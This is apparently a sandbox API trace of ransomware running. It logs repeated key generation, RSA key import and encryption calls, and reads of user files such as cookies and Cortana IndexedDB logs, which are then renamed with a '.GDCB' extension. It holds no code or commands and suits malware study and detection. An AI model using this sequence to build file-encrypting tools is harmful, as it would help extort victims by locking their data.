CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0227.795] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0227.797] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0227.797] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0227.797] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0227.797] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0227.799] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0227.801] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0227.801] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0227.801] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0227.801] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0227.804] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6488c40) returned 1 [0227.804] CryptGetKeyParam (in: hKey=0x6488c40, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0227.804] CryptEncrypt (in: hKey=0x6488c40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7c20000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x7c20000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0227.804] GetLastError () returned 0x0 [0227.804] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0227.804] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0227.806] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6489000) returned 1 [0227.806] CryptGetKeyParam (in: hKey=0x6489000, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0227.806] CryptEncrypt (in: hKey=0x6489000, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7c30000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x7c30000*, pdwDataLen=0x285d630*=0x100) returned 1 [0227.807] GetLastError () returned 0x0 [0227.807] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0227.807] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\INetCookies\\QX3BSDJD.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\inetcookies\\qx3bsdjd.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x528 [0227.808] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7c40000 [0227.810] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7c50000 [0227.812] ReadFile (in: hFile=0x528, lpBuffer=0x7c50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x7c50000*, lpNumberOfBytesRead=0x285d670*=0x153, lpOverlapped=0x0) returned 1 [0227.821] VirtualAlloc (lpAddress=0x0, dwSize=0x160, flAllocationType=0x3000, flProtect=0x4) returned 0x7d60000 [0227.826] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\INetCookies\\QX3BSDJD.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\inetcookies\\qx3bsdjd.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\INetCookies\\QX3BSDJD.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\inetcookies\\qx3bsdjd.txt.gdcb")) returned 1 [0227.870] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0227.872] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0227.874] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0227.874] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0227.874] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0227.874] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0227.877] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0227.878] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0227.878] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0227.878] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0227.879] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0227.881] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6488880) returned 1 [0227.881] CryptGetKeyParam (in: hKey=0x6488880, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0227.881] CryptEncrypt (in: hKey=0x6488880, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7c20000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x7c20000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0227.881] GetLastError () returned 0x0 [0227.881] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0227.881] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0227.883] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6488ec0) returned 1 [0227.883] CryptGetKeyParam (in: hKey=0x6488ec0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0227.883] CryptEncrypt (in: hKey=0x6488ec0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7c30000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x7c30000*, pdwDataLen=0x285d120*=0x100) returned 1 [0227.884] GetLastError () returned 0x0 [0227.884] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0227.884] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\Microsoft\\Windows\\3530508098\\2495906576.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\microsoft\\windows\\3530508098\\2495906576.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0227.932] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0227.934] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0227.935] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0227.935] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0227.935] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0227.935] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0227.937] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0227.939] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0227.939] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0227.939] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0227.939] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0227.941] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6488c00) returned 1 [0227.941] CryptGetKeyParam (in: hKey=0x6488c00, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0227.941] CryptEncrypt (in: hKey=0x6488c00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7c40000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x7c40000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0227.941] GetLastError () returned 0x0 [0227.941] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0227.941] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0227.943] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6488980) returned 1 [0227.943] CryptGetKeyParam (in: hKey=0x6488980, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0227.943] CryptEncrypt (in: hKey=0x6488980, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7c50000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x7c50000*, pdwDataLen=0x285d630*=0x100) returned 1 [0227.944] GetLastError () returned 0x0 [0227.944] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0227.944] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edb.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\edb.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x528 [0227.945] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7c60000 [0227.947] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7c70000 [0227.948] ReadFile (in: hFile=0x528, lpBuffer=0x7c70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x7c70000*, lpNumberOfBytesRead=0x285d670*=0x80000, lpOverlapped=0x0) returned 1 [0227.974] VirtualAlloc (lpAddress=0x0, dwSize=0x80000, flAllocationType=0x3000, flProtect=0x4) returned 0x7d80000 [0227.993] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edb.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\edb.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edb.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\edb.log.gdcb")) returned 1 [0227.997] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0227.999] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0228.001] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0228.001] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0228.001] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0228.001] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0228.002] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0228.004] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0228.004] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0228.004] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0228.004] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0228.006] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6488b40) returned 1 [0228.006] CryptGetKeyParam (in: hKey=0x6488b40, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0228.006] CryptEncrypt (in: hKey=0x6488b40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7c40000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x7c40000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0228.006] GetLastError () returned 0x0 [0228.006] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0228.006] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0228.008] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6488b00) returned 1 [0228.008] CryptGetKeyParam (in: hKey=0x6488b00, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0228.008] CryptEncrypt (in: hKey=0x6488b00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7c50000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x7c50000*, pdwDataLen=0x285d630*=0x100) returned 1 [0228.008] GetLastError () returned 0x0 [0228.008] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0228.008] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edb00037.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\edb00037.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x528 [0228.010] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7c60000 [0228.012] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7c70000 [0228.013] ReadFile (in: hFile=0x528, lpBuffer=0x7c70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x7c70000*, lpNumberOfBytesRead=0x285d670*=0x80000, lpOverlapped=0x0) returned 1 [0228.038] VirtualAlloc (lpAddress=0x0, dwSize=0x80000, flAllocationType=0x3000, flProtect=0x4) returned 0x7d80000 [0228.063] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edb00037.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\edb00037.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edb00037.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\edb00037.log.gdcb")) returned 1 [0228.066] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0228.069] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0228.070] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0228.070] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0228.070] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0228.070] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0228.072] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0228.073] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0228.073] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0228.073] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0228.073] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0228.075] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x64888c0) returned 1 [0228.075] CryptGetKeyParam (in: hKey=0x64888c0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0228.075] CryptEncrypt (in: hKey=0x64888c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7c40000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x7c40000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0228.076] GetLastError () returned 0x0 [0228.076] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0228.076] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0228.078] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6488940) returned 1 [0228.078] CryptGetKeyParam (in: hKey=0x6488940, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0228.078] CryptEncrypt (in: hKey=0x6488940, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7c50000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x7c50000*, pdwDataLen=0x285d630*=0x100) returned 1 [0228.078] GetLastError () returned 0x0 [0228.078] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0228.078] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edb00038.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\edb00038.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x528 [0228.080] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7c60000 [0228.082] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7c70000 [0228.083] ReadFile (in: hFile=0x528, lpBuffer=0x7c70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x7c70000*, lpNumberOfBytesRead=0x285d670*=0x80000, lpOverlapped=0x0) returned 1 [0228.125] VirtualAlloc (lpAddress=0x0, dwSize=0x80000, flAllocationType=0x3000, flProtect=0x4) returned 0x7d80000 [0228.142] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edb00038.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\edb00038.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edb00038.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\edb00038.log.gdcb")) returned 1 [0228.146] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0228.148] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0228.149] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0228.149] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0228.149] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0228.149] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0228.151] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0228.152] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0228.152] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0228.152] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0228.153] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0228.155] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6488b80) returned 1 [0228.155] CryptGetKeyParam (in: hKey=0x6488b80, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0228.155] CryptEncrypt (in: hKey=0x6488b80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7c40000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x7c40000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0228.155] GetLastError () returned 0x0 [0228.155] 